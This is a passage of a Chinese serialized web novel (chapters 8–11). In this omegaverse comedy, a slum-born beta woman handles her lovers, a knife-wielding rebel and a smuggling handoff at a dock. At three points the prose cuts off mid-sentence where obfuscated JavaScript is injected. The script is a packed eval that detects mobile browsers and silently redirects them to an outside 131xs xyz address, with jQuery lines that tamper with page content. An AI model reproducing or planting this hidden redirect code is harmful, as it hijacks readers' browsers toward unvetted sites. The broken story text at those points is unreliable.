到达公司的时候,我首先是去顶层和克斯蒂见面。
他正在和通讯器那头的人通话,眉间拧着一股不耐烦,显然是在应付他的未婚夫。
“够了!我说够了!你总是没完没了地让我回去,可你又算什么东西?你也只是个靠着家族荫蔽讨生活的废物!我和你可不一样!”
我很有小白脸的自觉,站在门口垂下脑袋假装自己没听见。
“什么?哈!”克斯蒂表情厌恶,将omega特有的娇蛮发挥得淋漓尽致,“你要是有胆子,你就尽管来啊!你这个胆小如鼠的懦夫,你根本就不是alpha!”
通讯器那头传来了某种东西被摔碎的声响,然后是怒不可遏的怒吼,“克斯蒂!你也不过是个omega!我是你的未婚夫,你就应该听我的!”
我把脑袋埋得更低了,并且打心底祈祷克斯蒂的未婚夫真是一个懦弱的人,最好离这里远远的。
我还没有真正地当上公司老板呢,可别来啊。一次性应付三个人还是有点吃力的。
电话挂断,克斯蒂满面怒容地站在办公桌前。
他的胸腔起起伏伏,显然还没有从刚才的情绪中脱离,就连看向我的眼神都带着一股子不耐烦。
看吧看吧,这群讨人厌的天龙人就是这样。心情好的时候对底层小牛马和颜悦色,心情不好的时候就会立刻拿小牛马开涮。
我沉默地走过去,为他泡了一杯红茶。试一试温度确认是凉的后就放在他的手边,然后被他毫不留情地打掉了。
茶水滚到我的手背上,我立刻装模作样地“嘶”一声,然后继续给他倒茶。
“他不该这样说你。”我开始胡说八道,“你是个很好的人,和你的性别没有关系。”
克斯蒂的怒容一顿,眼眸又开始闪烁着微光,“无用,你知道你在说什么吗?”
“我知道。”我说道,“老板……克斯蒂,你就是很好的人。我不知道其他omega和alpha是什么性格,但你比我知道的很多人都善良很多。要我说的话……你简直不是被性别束缚的好人。”
8. 第 8 章
克斯蒂在听了我的话后简直容光焕发,嘴角的笑容扬起弧度,更是不自觉的用手指去缠绕头发。
我还能看见他有意识地把头发拨弄到一边,若隐若现地露出奶白的后脖颈。
“无用,你从哪听来的这些话?”
“我自己想的。”
“你不觉得,不同性别的人思考方式不一样吗?”克斯蒂又开始探究了。
他被盖着脖子竟然没有挣扎,反而是把身子往我的方向更贴近了,昂着脑袋要仔细看我的表情。
我当然如他所愿,低着脑袋任由他看。
“没什么不一样的,大家都是人。之所以思考方式不同,也不过是环境不同。”我发表了一番天下大同的言论,然后在对方还没来得及思考的时候立刻找补,“也因为这样,所以很多人都自以为是觉得什么都知道。”
克斯蒂又要认真思考了,但我不会给他机会的。
“但很少有人像你这样,你就是很好。你能看见我的窘迫,还赏识我的能力,你和大多数人都不一样。”
克斯蒂的笑容越来越灿烂,卷曲头发的手指向上攀岩,竟然覆盖住了我的手背。
他说了句莫名其妙的话,“无用,你如果是个alpha,那就更好了。”
我差点没把白眼翻过去。
行了行了,说那么多夸你的话,你就只知道a是吧?
我懂,你们这群天龙人是这样的,既要又要嘛。不让底层小牛马性别歧视,但你们最爱玩性别歧视了。
但我不一样,我才不会单独歧视某种性别。我平等歧视所有人,因为除了我所有人都是狗屎。
“克斯蒂……”我眼神暗淡一瞬,很快又恢复原状,“这样也挺好的,起码让我看清楚很多事情。”
刚刚说完,我看见克斯蒂挑起眉毛,然后抓起了我的手。
omega大概天生就是这块料,所以才让a争斗得狗血淋头。
我是个手艺人,吃饭的家伙被这样撩拨谁受得了啊,有饭不吃难道要饿死自己吗?
但我还是把手抽回来,郑重又语重心长地和克斯蒂说违心话:“克斯蒂,别这样。我不值得你这样做,我不能给你更好的。”
“这又有什么关系?”克斯蒂毫不在意,捏起一缕白发扫我的手背。
关系那可大了!谁知道你未婚夫什么时候被你惹急眼了就跑过来?
到时候他一进公司大门就和我撞上,鼻子一闻就闻到了你的信息素,这让我怎么解释?
我就是个beta,我就蹭蹭没进去……
然后我就死了!
“不,克斯蒂,我的原则不允许。我尊重你,正如你尊重我。”我继续把他往外推,“而且我和……我做不出这种事。”
“你是尊重我,还是尊重我的未婚夫?”克斯蒂蹙眉,又开始发脾气破口大骂,“你刚才还说我和其他人不一样!”
重点是这个嘛?重点是后面那一句!
平时那么爱揣摩人怎么到现在反而揣摩不出来了?
我无语,但还是按耐下心解释,“这和你的未婚夫没关系,是我自己的问题!”
“克斯蒂,我做不到这样随意地对待你。你应该值得更好的,而不是我这个还要靠你提携的beta。在你彻底弄清楚之前……我都不会这样做的。”我甩出最后一句话,就愤愤不平地离开办公室。
好了好了,应付你的指标已经完成了。剩余的时间我还得思考怎么哄骗奥维拉。
可恨我不能人手分离,分工合作一边把奥维拉哄爽了,一边去换盒子。
哎!怎么beta就不能多长出一只手呢?
我懊恼着离开办公室,在走进电梯的那一刻起又挺直腰板。
真期待啊哈哈哈,我现在也是经理了!
——
克斯蒂目光始终黏着女人离开的身影,直至对方消失。
脖子还有些温热,他能感受到当时对方克制的举动和情不自禁的抚摸。
beta都是这样,冷得寡淡无味,就算把信息素释放出来也无动于衷不知道发生了什么。可他已经暗示到这个地步了,她依旧是选择用布遮盖。
想着对方欲言又止每次提起奥维拉时的表情,克斯蒂已经能将二人的关系猜测得七七八八。
哈,年纪上来就会这样。克斯蒂刻薄地想。
毕竟是个接近三十岁的beta,无法被丈夫标记,于是来到这个小地方勾搭人。但凡这对配偶的关系能好点,克斯蒂不相信其中的丈夫愿意让爱人远离。
占有欲强烈还好斗的alpha根本不会放任自己的配偶跑去那么远的地方。
克斯蒂笑得眉眼眯起来,在自己的通讯录里翻找,终于找到了某个号码,然后编辑了一条短信发送过去。
——
我度过了来到贫民窟七年以来最爽的一天!
在员工食堂大口吃饭的我根本分不清塞进我嘴里的是蔬菜还是牛肉,反正就是吃吃吃。
新鲜食材制作的食物美味到就算奥维拉的丈夫和克斯蒂的未婚夫来到我面前我都无法察觉,哪怕他们一人一刀把我尸首分离,我的脑袋也会跟蟑螂一样往嘴里塞米粒。
果然,补充体力的才能叫饭。消耗体力的不叫饭,那叫工作!
到了晚上下班的时候,我斗志昂扬,思考该怎么找理由找奥维拉。
要把盒子换回来,我得先知道奥维拉把盒子放哪了。是放在警察局,还是被他带回了家。我总得知道,可我的人设又不能主动去问。
我砸吧嘴,回味美味食物的同时拿出老旧的通讯器上下翻找。
然后我又萎了。
可恶啊找不到办法!明天就是27日了,而我依旧毫无头绪。
我开始后悔答应阿丽办这件事,恨不得回到昨天给那个嘴快的我一巴掌!
白无用啊白无用,你怎么那么嘴快答应下来了呢?之前把锅甩出去的时候好好的,怎么又把这玩意往兜里踹?
我抓耳挠腮,冥思苦想。
三秒后我恢复如常,假装什么都没干,什么也没想。
反正只是口头答应而已,我就一定要干?阿丽那么有本事为什么不自己干,还要找我干?
这是她们组织内部出了沟通问题,和我可没关系。
于是我又开始心安理得地往家里走。
下一秒我就被人绑了关进小黑屋。
熟悉的粗重呼吸撒过来,我眼睛立马瞪大了,“喂喂喂!我还什么都没干呢!你又想做什么!”
alpha男用一块黑布把我的眼睛挡住了,确保我看不见他的脸。
好吧我也不想看。
“明天,就给我去送盒子。”alpha男说道。
我一听
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775046|174667||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,乐呵了,“你同伴没跟你说她的身份?”
“……你调查我们!”alpha男唰一下就把刀刃架我脖子上!
“别别别,我招!”我吓得脖子往后缩,“我真的是第一个纯路人,我是无辜的!你不知道你同伴是谁,我又怎么会知道?我就是奇怪你们为啥不知道彼此身份啊!”
alpha冷笑一声,“花言巧语,这些话你也只能偏偏那些愚蠢的走狗。”
是是是,骗不了你。
我嘴巴都要歪了。
但这暴躁男手里还握着刀呢,我只能屈辱附和,“是是是,你不是走狗,你是好狗。”
“你想死么——”
“饶命饶命!你不是好狗!你是好人行了吧!”
暴躁男终于满意了,可听呼吸声又不是很满意。
反正总归把刀子收了回去。
我眼前一片漆黑,无法观察此人的微表情来判断他是什么心思。
呼吸很重,听得出来伤势没怎么好,还有可能加重了,一副要死要活命不久矣地样子。
我挪一挪身子,双手被反绑后挣扎起来很困难,但也不是毫无办法。
alpha本来就傲慢自负,觉得我一个小小beta被他绑了就不会挣扎。
可笑,他根本不知道一个底层小牛马到底掌握多少技能!
“那个,我能问一个问题吗?”我吞一口唾沫,斟酌开口,“一定要我送吗?难道就不能其他人?你可以和你的同伴打商量啊,或者你自己跑去送也可以。”
他不言。
我继续劝,“而且啊,是你们组织内部沟通不善出现了举报的问题。现在盒子在警督手里,我就算是他的情人,我也骗不出来啊。他要是发现了枪毙我怎么办?”
“呵。”他嗤笑一声,“如果不是你没藏好,走狗们能搜查出来吗?”
我日你大爹!我怎么知道有人举报我啊?而且你那么厉害,怎么还在这喘气啊?
有本事你自己送!
我想要破口大骂,但脑子灵光一闪。
是啊,为什么这alpha男不自己送?又为什么一定是27日?
总不能他活不到27日吧?那天一副快死的模样也还能持枪威胁我,不见得啊。alpha在体质方面比牛还耐操呢。
所以alpha男也得隐藏身份,而且是重要的身份。
会不会有种可能,这个盒子就是alpha男凭着伪装身份得到的?
这样就说得通了。
因为他是监守自盗,所以要尽可能地排除自己的嫌疑。运送盒子的程序越复杂,经手的人越多,他的嫌疑也就越小。
为什么一定是27日?明天有什么大事要发生?
我一个机灵,透的!这群人不会是想要刺杀什么大人物吧!
不要啊我就是个小白脸!我只想好好吃软饭然后当上公司老板最后拿上天价分手费混吃等死一辈子啊!
想到这种可能,我又从心了。
“那个,这位先生。”我的语气从未如此恭敬,“我也没预料到事情会发展成这样。要不这样吧,我把盒子的位置问出来,你们自己去偷可以吗?你们组织办大事,我不配啊,我就是个软骨头beta,我不行的。”
事到如今我已经不在乎我的到底行不行了,就当我一秒钟手指残疾吧,反正我不想干!
9. 第 9 章
此alpha男不打算放过我,他还要刀我!
“你只有两个选择。”alpha的刀子重新架我脖子上,语气阴森充满威胁。
我还闻到一股腥味,是他伤口裂开后未能处理而散发出来的。
“做不到!我说了不行就是不行!”这可是人命关天的大事!就算把我脑袋撂到地上去我也不行啊!
你们叛乱党爱怎么刺杀大人物刺杀总统我都懒得管,但你们一定要把我这个无辜人拉下水那就是不行!
想到这里,我梗着脖子难得硬气,“我不干!”
然而我难得的骨气并没有被此男称赞,反而让他破防大怒,一脚踹在凳子上把我踢翻在地!
脸着地的我猛然弹起来,趁机挣脱绳子冲声音的来源就是一拳!
以为奶奶当年出无人区是靠猜拳啊?我捅刀子的时候你个小白菜指不定还在翻垃圾桶呢!
一拳是实打实地揍到了alpha的脸上,将人击倒在地。
我迅速落下蒙眼的黑布,总算看清楚此人的脸。
等把人看清楚了,我高举在半空的拳头顺势拐了个目标打在他的肚子上。
“嗯哼!”他痛呼一声。
哇哦,不愧是alpha,无论是长相还是喘声都劲劲的。
那可就不能打脸了,得找其他地方补两拳。
于是我在他还没反应过来前又往他肚子上揍两拳。
他疼得冷汗直冒,本来就开裂的伤口在我的重击下彻底崩开,红色的温热液体迅速侵染他的衣物。
“你,你什么时候,挣脱的?”他一边抽冷气,捂住手上的肚子。另一边则是抬头问我。
小麦色的皮肤,瞪大的琥珀色眼睛,还有那一头棕色的茂密头发。再往下点,我还能看见他因为痛苦而剧烈抖动,被包裹在皮衣里的二位奶奶。
就是这个劲啊,再看下去我又要成矿工了。
“贫民窟里能安然长大到成年,还能获得公民身份的人,你以为是软柿子?”我见他没力气动了,于是席地而坐开始和他掰扯有的没的。
alpha不语,震耳欲聋的沉默声把我震撼了。
“你真没想过啊。”我大受震撼,并为这个alpha取一个除奥维拉的“神经病”和克斯蒂的“智障”后又一个外号——傻缺。
阿丽怎么回事啊,你们组织里的人怎么都没脑子似的?就派这玩意考验我?
他趴在地上喘息了好久,才慢腾腾坐直。大概是被我看见了脸于是自暴自弃,他就这样正对着我了。
“你去送。”
“不送,而且你威胁不了我了。”我挺起腰杆子,“我给你掰扯,我已经把你脸看清楚了,你想好好隐瞒身份,那就得听我的话。”
他眉头一皱,又准备摸刀子,被我一句话止住动作。
“你把我杀了,警督追查起来第一个发现的就是你。”
“呵。”他无能狂怒笑了一下。
我继续给他说道理,“你把我杀了你会暴露,我送盒子我就得吃子弹。不如这样,我们各退一步,你别杀我,我也不去送盒子。怎么样?是不是很公平?”
alpha:“……废物!”
我透,这傻缺竟然不是真傻缺!
我用一种不敢置信地微妙眼神将他浑身上下扫了个遍,然后说:“我就是不送,那咋了?”
是,之前我是承诺要帮阿丽把盒子换回来。
但我为了小命立刻反悔了,又能怎么样?
讲信用讲义气那是活人才干的事,人都死了谁还管这管那啊?
贫民窟的穷人本来就没有公众威望这一概念,一手交钱一手交货才是常态。赊账之类的想都别想,饿死了都不可能赊账。
alpha奈何不了我,他又没能力去送,于是我们两人就这样僵持在小黑屋里。
良久,他突然抬起眼睛来看我,琥珀色的眼珠子像是忍受什么恶心不得了的事情。
他说:“你是不是很好色?”
我的五官立刻扭曲了,“你会不会说话的,我哪好色了?”
“你不好色,你能上警督的车?”
“我那是被迫的!”涉及到人设,我本能地为自己狡辩,“你都不知道,他拿我弟弟威胁我,要是不做他情人就让人把我读大学的弟弟开除了!”
不管了反正这人很有用,就拿来背锅吧。
情到浓时,我眼眶湿润,“我和他从小一起长大,在贫民窟里相依为命。我是个beta,就算读了书也没什么机会成功,不如把他送去读大学,我会还能指望他毕业后努力工作,把我带去克亚区。”
他满脸狐疑,“真的?”
“还能有假吗?你在贫民窟里四处打听一下就知道了。”我回答。
哎嘿你要是打听了,我也能顺便把你的身份打听清楚。
“你……他真强迫你了?”他眉头拧起来,一副不怎么相信我花言巧语的样子。
“你相不相信随你。”我失魂落魄,“我不能死,我死了我还在读大学的弟弟怎么办?他大三了,实习要钱,住宿要钱,伙食费和人际交往也要钱。我死了他就只能喝西北风。”
alpha又开始保持沉默。
这次过了许久,他才用小声的音量说:“原来是被迫的,不然我还能……”
我把耳朵竖起来,“还能怎么样?”
他的视线偏移了一瞬,转移话题说:“这个盒子是从无人区送出来的,五年的时间里只有这一次。”
我顿时慈眉善目起来,“你继续说。”
我等着他把更详细的事情说出来,可他反复上下碰撞嘴唇,就是不愿意多透露一个字。就算我把拳头挪到他的脸上,他也不愿意多说。
烦死了!你们这群谜语人都给我滚出世界!
气不过的我又照着他的肚子打了一拳。
他已经趴在地上奄奄一息了。看来绑我进小黑屋是他的极限。
“你要怎么样……才能送。”他断断续续喘着气。
这人怎么那么犟呢?一定要我送吗?
我蹲在他的面前,拧眉开始思考无人区的情况。
无人区只是一个称呼,其实里面的人很多,而且绝大多数是a和o,像我这样的b反而是少数。
大家都挤在漆黑狭窄的矿洞内,日复一日地凿壁挖矿,然后把这些矿石往地表上送。
我在无人区生活十六年了,从没有听过什么五年才有一次的大人物,也没打听出来这些矿石的具体作用。
因为太忙了,周围的人每天除了挖矿就是搞生物工程。把孩子生下来后养得起就一起挖矿,养不起就丢到垃圾场里自生自灭。
如果盒子里装的是从无人区里偷出来的矿石,为了不被海关发现而走贫民窟偷渡路线是最好的办法。
那个负责运送盒子的人也是从无人区里出来的?是里应外合?
我暗自咬牙。
透的!穷人本来就没多少获取信息的渠道,好不容易靠脑子想出来的东西却一个没对上。
什么刺杀大人物,压根就不是!
意识到我多次陷入信息闭塞带来的盲区后,我又开始焦虑。
我讨厌焦虑,也讨厌这种反
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775047|174667||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
复无常的转折和变化,好像我就是个随时被人砍断脑子的蟑螂,在我还往嘴巴里塞米粒的时候身子就消失不见了。
我得送盒子!不为现在考虑,我也得为我的未来考虑!
“我送。”我说道,把他扶起来,目光灼灼,“我答应你了,我就去送。但你们得确保我的安全,绝对不能让我出事!”
他不明白为什么刚才还拒绝的我现在又同意了,但还是松一口气。
“你叫什么……算了无所谓。”我有些焦急。
现在已经是傍晚了,距离27日指定时间只剩下短短的10个小时不到的时间,在此期间我要弄明白奥维拉到底把盒子放哪儿。
我甚至无暇思考阿丽有没有做后手,会不会已经去找奥维拉。
以阿丽的个性,极有可能直接刺杀奥维拉抢夺盒子。
离开小黑屋,我查看周围,发现正是西区。
alpha男也住在西区?不对,他的身份应该是无人区的监工之一,或者更高级别,否则做不到在贫民窟和无人区之间自由穿梭。
“透的!”我怒骂一声,让自己纷乱的脑袋清醒过来。
今天的信息太多了,我得好好处理。
不对!现在是去找奥维拉!
拿出通讯器,我的手指在奥维拉的聊天框内踌躇犹豫好几秒,也没思考好到底要找什么理由。
这个点奥维拉应该待在高级公寓里。我当然知道高级公寓在哪,我曾经被他以修水管的名义要求上门一次。
其实那天我就打算和奥维拉深入交流了,但他丈夫的一通电话及时打断我们。
我也是那天才知道他的丈夫是alpha,还是上行城的一位法官。
我最终还是决定先上门。
我庆幸我时刻为自己准备退路。
我先是联系了奥维拉,让他放我进入公寓。
当门打开看见奥维拉的第一眼,入目的就是他身穿着红色丝绸睡衣的模样。
“你能主动找我,我很高兴,无用。”红发的beta男性靠在门框边上,眼睛因为笑意弯起来。
他大大方方地展示自己,并不为自己的婚外情感到羞耻,反而越来越兴奋。
毕竟是个神经病,我怀疑alpha娶他纯粹是为了追求刺激。
我沉默地盯了他一会,然后上前一步捧住他的脸吻下去。
奥维拉被我的力气推进公寓,身后的门“砰”一下地关闭了。
倒在沙发上时,他的面容是迷茫的,瞳孔里清晰倒影出我的影子,我也得以看清楚自己此时的样子。
“无用,你看看现在的你,多可爱。”奥维拉摩挲我的眼角,温柔地揉搓那一小片皮肤。
我内心不知道为什么笑了一下。
哈哈哈,这个名字真是狗屎。好在我也不是真叫这个名字。
之后的事情当然是顺理成章。
沙发自然不是做的好地方,但我等不及,我得赶时间。
而奥维拉进入状态后就会不管不顾,甚至会为了寻求刺激去地势更高的地方。
“你……轻点。”背对着我的奥维拉脊背绷紧,流畅的曲线向下延伸,让我看见了第一次做时留下的咬痕。
那里有一颗鲜红色的痣,像是个任人采摘的果实。
我顺嘴就咬下去了。
“哈——”beta男性猛地颤抖一下,抓进桌角的手指用力过度到发白。
他又陷入恍惚中。
我松口后微微垂下头,用嘴唇一点点摩挲那块被我咬破皮的肌肤,用温柔的语气说:“奥维拉,我如你所愿。”
10. 第 10 章
奥维拉眼神失焦地看着前方。
过分的欢愉后,便是退潮后的凉意。
就这样安静地躺在桌面上好一会,奥维拉的瞳孔才重新聚焦。
他侧过身子看向身后的女人,发现她正在用一种复杂又迷茫的眼神注视自己。在两人视线相碰的那一瞬间,又被她以极快的速度隐藏起来。
“你有什么想对我说的吗?”奥维拉扬起笑容,湿润的唇呼出的气息还带着潮气。
“没有。”beta女性说道。
她显然不擅长撒谎,也不懂得撒谎的技巧。
在发现他的注视后,会不自觉且笨拙地移开视线,春燕尾般的眉毛蹙起,然后生硬地转移话题。
“你去洗漱吧,我收拾一下客厅。”
她有事隐瞒自己。奥维拉想道。
不过奥维拉不在乎。他但凡是个为她人着想的好人,21日那天就不会用枪和药威胁人上床,也不会用对方的弟弟威胁成为自己的情人。
所以奥维拉去浴室洗漱了留下beta女性在客厅内。
——
我觉得奥维拉越来越神经病了。
做完后他看我的眼神有点恶心,虽然有我刻意引导的因素在,但我还是心里发毛。
咦惹,还是小心点吧。
等他进入浴室洗漱,我就随手拿起桌面的纸巾擦手,顺便用眼神扫视整个客厅思考哪里是他藏盒子的地方。
等把手指擦干净,我就借着收拾客厅的动作到处抠缝隙,就这样一路顺到了厨房。
当我抬起头的时候,我与一双熟悉的眼睛面面相觑。
阿丽以诡异的姿势趴在窗户外面,看样子还准备继续往里面爬。发现我后先是一愣,然后瞪着眼睛说:“你在啊。”
我们两人就这样以诡异的姿势安静对视长达三秒,我猛然上前挡住她!
“我靠你怎么爬上来的!这里是八楼!八楼啊!”
阿丽面无表情,眼睛习惯性地眯起来,“我以为你反悔了,所以过来找。”
不愧是我七年的好友,对我的道德充满了信任。
这不是重点,重点是我绝对不能让这人爬进来!
我用手摁住她的脑袋往外推,“下去吧你!我说到做到,送就送!”
“你行吗?”阿丽问。
“你这话问的,你看行吗?”我反问她,直接将她的脑袋往窗户外按。
然而alpha的身体素质比牛还牛,无论我怎么按,阿丽的右手都牢牢固定在窗台上,左手则是摸出了匕首,看样子是真的打算把奥维拉弄死!
我透的!你把奥维拉弄死了谁给我做后台?谁给我升职加薪?我要是想去克亚区谁给我批申请?
下一秒,阿丽的身子就矮下去了。
“无用,你在厨房做什么?”beta男性的声音在我身后响起。
我背后瞬时惊出冷汗,转过头时表情镇定地对他说:“有水吗?”
这人洗澡怎么那么快!不会光顾着洗外面没洗里面吧!
还是说贫民窟的水质无法让你满意不配洗里面?
奥维拉笑起来,“当然有。”
我们两人调换了位置,在我表面淡定实则胆战心惊的注视下,奥维拉来到窗台边用玻璃杯接了一杯水,然后背对窗台面向我。
他把玻璃杯递给我。
我抬手接过水杯。
指间触碰的短短时间,我的手背被人挠了一下。
我看向奥维拉的眼睛时,有片刻的头晕目眩。
别误会,我没有被神经病的美貌晃住眼睛,而是被阿丽举起来的匕首晃住了。
只见阿丽轻手轻脚爬出窗台,然后高高举起匕首对准奥维拉的脖子!
住手啊!
你们这群该死的alpha难道都不会动脑子嘛!
nononono!
我拼命给阿丽使眼色,企图让她动用一下大脑思考利弊。
然而阿丽会错意思,眯起了眼睛对我露出胸有成竹的表情,用口型说:“我会一击毙命的。”
啊啊啊啊你信不信今天你把他弄死明天我这个姘头就会被送上处刑台啊!
知不知道一旦发生命案枕边人就会被列为第一嫌疑犯的含金量啊!
不行了来不及了!
我的心脏砰砰直跳,在阿丽即将落下匕首的那一刻,我心下一横!
“啪嗒!”
盒子从外套口袋掉落,摔打在地面上。
奥维拉低下头看向地面,阿丽则是疑惑地停手看我。
我在奥维拉捡盒子的间隙对阿丽疯狂比手势。
蠢货!看我操作!
阿丽生锈的大脑终于选出了正确答案。她退回窗台后面,继续趴在八层楼高的外面鬼鬼祟祟观察。
奥维拉将盒子捡起来,摆在掌心里把玩。
确认了盒子与当初从我屋子内搜出来的盒子一模一样后,他嘴角的笑容明显扩大。
“无用,盒子为什么会出现在你的口袋里呢?”
我抿唇,发挥超高的演技,将迷茫纠结痛苦无助等多种复杂的感情演绎得入木三分。
对,来吧,尽管质问我!
“我只是……想把它拿回来。”我低声说道。
“这是赃物,无用。”奥维拉靠近我,几乎与我脸贴脸。
刚刚洗漱完的他耳边还挂着红色的湿发,呼出的气息也带有明显的沐浴露气味。
“不是!”我像是自尊心又被他伤害了那样猛然转过头看奥维拉,“你明明知道,这不是赃物,这是我……”
我的话语戛然而止。
“你可以继续说下去,无用。”他的笑容灿烂,“我喜欢听。”
呐呐,这就是神经病啦。
“我把它放回去。”我忍无可忍地把盒子抢夺回来,然后将他推开往外走。
奥维拉又拽住了我,“交给我。”
“不,这是我自己拿出来的,就让我放回去。”我的神情带有几分慌张。
奥维拉显然察觉到了,再次夺回盒子,“无用,赃物只有警督有权利处置。”
我无声与他对视,最后败下阵来。
就这样跟着他来到了客厅的壁炉边,然后看着他随意地用钳子把几块木头拨开。
哇哦,原来是藏在壁炉里了。
当奥维拉翻开夹层,看见里面完好无损的盒子时,明显惊讶了一下。
我就这样站在他身后,一副忍辱负重干坏事暴露后的痛苦和无助。
“哈哈哈哈哈!”奥维拉笑得肩膀发抖,“无用,你真的很可爱。”
“你怎么想的?要把它调换出来?让我猜猜,这个新盒子里面装了什么东西?”
没什么东西,就是从隔壁邻居那白嫖过来的白纸。
让我花钱是万万不能的,那等于要我的命。
“给你的钱,你都用来买新的盒子了?”他继续问。
我还是不说话。
脑补就留给神经病吧。
真正的勇士就要勇于空手套白狼。
等神经病笑够了,他就把新盒子放进了夹层里。
不是?你两个盒子都要收走?
我迅速走过去把旧盒子拿出来。
其实两个盒子的重量明显不同,毕竟里面一个装着矿石一个装白纸。
我不能让奥维拉发现两者的差异,反正不能让他的手短时间内感受到两者的不同。
“奥维拉,我不会再过来了。”我第
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775048|174667||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
n次放下狠话,“以后也不会了。”
“盒子……我会带走。”
这一次的奥维拉没有再阻止我,而我也飞快跑出公寓然后“砰”地将大门关上!
哦呼!盒子到手了!趁着神经病还没反应过来之前赶紧去东区码头!
到达公寓一楼后没多久,阿丽就跟着我一起跑出来。
她的脸上写满了困惑,“他是不是不聪明?”
“你说什么?”
阿丽自己思考了好一会,然后自己笃定答案,“对,他就是不聪明。竟然给你换出来了。”
“……算了你开心就好。”我心情复杂。
在交叉路口,阿丽又要拐走了。
我手快拉住她,问出我这几天最后的问题,“你们组织到底为什么不允许成员之间知晓真实身份?”
阿丽被我拉着一个踉跄,匕首差点剐我手臂上。
但她还是很认真地回答了我,“因为曾经有人背叛过。”
“谁?为什么?”
“不是我。”阿丽皱起眉,“是beta女性,就在二十年前。”
“死了很多人,大家过了很久才缓过来,然后大家都不允许知道同伴身份了。”
敢情是被人背刺过所以各个当缩头乌龟是吧?
不过这和我没关系。
现在距离指定时间还剩下不到五个小时的时间。
我疯狂踩踏我的自行车,一路上风驰电掣驰骋沙场。
然而跑到一半我发现我还有一个问题没有问!
透他大爹的到底是哪一艘船的甲板啊!
于是我一只手控制车头,一只手发挥天赋技按动通讯器给阿丽发送信息。
该死的alpha别光顾着赶路啊给我看通讯器!
好歹把特征说出来啊!
就这样赶到了码头。
深夜十二点的码头人来人往,停靠的走私船只互相推搡,偶尔还能听见走私犯的脏话谩骂。
几个打黑工的工人扛着货物走上甲板,然后趁着走私犯不注意往货物堆里偷瞄。要是运气好的能顺下点值钱东西,运气不好的就被当场抓获然后暴打一顿。
我将自行车停靠在无人在意的阴暗小角落,然后摸着黑探头查看码头边停靠的船只。
大家都是在做违法生意,所以默契地没有点大灯,而是选择用昏暗的煤油灯支撑光线。
也正是因为如此,海面黑漆漆一片。
我看见好几个工人没看清路掉进了海里,然后又招惹走私犯的一阵谩骂。
到底是哪一艘船?
她们的船一定具有辨识度,否则组织成员无法辨认出来。其次不能太高调,毕竟是走私矿石这种大事,一旦被抓住那就是吃子弹的罪行。最后是对接成员具有一定的权利,这最后一个程序需要兜底。
大致思索一番后,我的目光锁定在某一艘即将靠岸船只。
我不能光明正大走过去,于是只能游过去。
当我跳入冰冷刺骨的海水里,心中疯狂唾骂阿丽和alpha男!
你们组织成员互相不认识,那要联系的时候是不是随机抓牛马?我就是那个被你们抓起来的倒霉蛋啊!
一边唾骂,我一边往目标船只游。
结果到了地方,我才发现船只后面还有船只,且符合我的预想。
而更让我想要唾骂的是这两艘船同时间打下一束光照在我的身上。
同时沐浴两束光的我痛苦闭眼。
“走私犯么?”左边的人皱起眉头,双手环胸高高在上地俯视我。
“跳海自杀?”右边的人惊呼出声,兴致勃勃靠着栏杆打量我。
我:……
这大晚上的,闹得多尴尬啊。
11. 第 11 章
我现在有点慌张。
两艘船只的特大光束照过来的时候,被刺瞎的不仅有我的眼睛,还有岸边那些走私犯的眼睛。
他们唾骂一声,竟然不管不顾地弃船逃跑,脚步飞快!
我还能听见几个靠得近的走私犯的怒骂,“我靠!突击检查!”
东区码头虽然是走私圣地,但上头偶尔缺钱也会过来抓人,然后收大把的赎金。因为金额巨大,所以很多小走私犯们宁愿丢弃一批货物也不想被抓住。
呵呵,他们逃走了,我可逃不了。
漂浮在冷冰冰的海面,我就像个尸体般一动不动。
右边船只的人靠得更近了,笑容灿烂地靠在栏杆上搓手,然后说:“喂喂,你真是自杀啊?为什么啊?你得绝症了?你被甩了?还是怎么的?跟我说说呗?”
我说你大爸!
她嬉皮笑脸地抖腿,见我始终不说话,于是继续问:“那你还死不死啊?我捞你上来呗?”
这话说的,我还能真死了不成?
然后我就被她们打捞上来了,顺便看见了左边船只的人。
他长得很高挑,长衫长裤,还戴一副金丝眼镜,乍一看是个冷冰冰的alpha。
但我直觉哪里不对劲,却说不出究竟是哪不对劲。
beta女性见我的视线在对面徘徊,于是挤眉弄眼地用手捅我的腰,“对面那个你感兴趣?”
她说话的声音毫不掩饰,对面的alpha男直接皱起眉头,看向我和她的目光里明显带着厌恶和嫌弃。
哟哟哟,又是个天龙人。
我的手藏在湿漉漉的衣服口袋里,指甲抠了抠盒子的边缘,脑内思考这两人谁是真正的接头人。
是alpha男性?他看着安静沉稳,但性格狗屎不像是会干叛乱勾当的人。
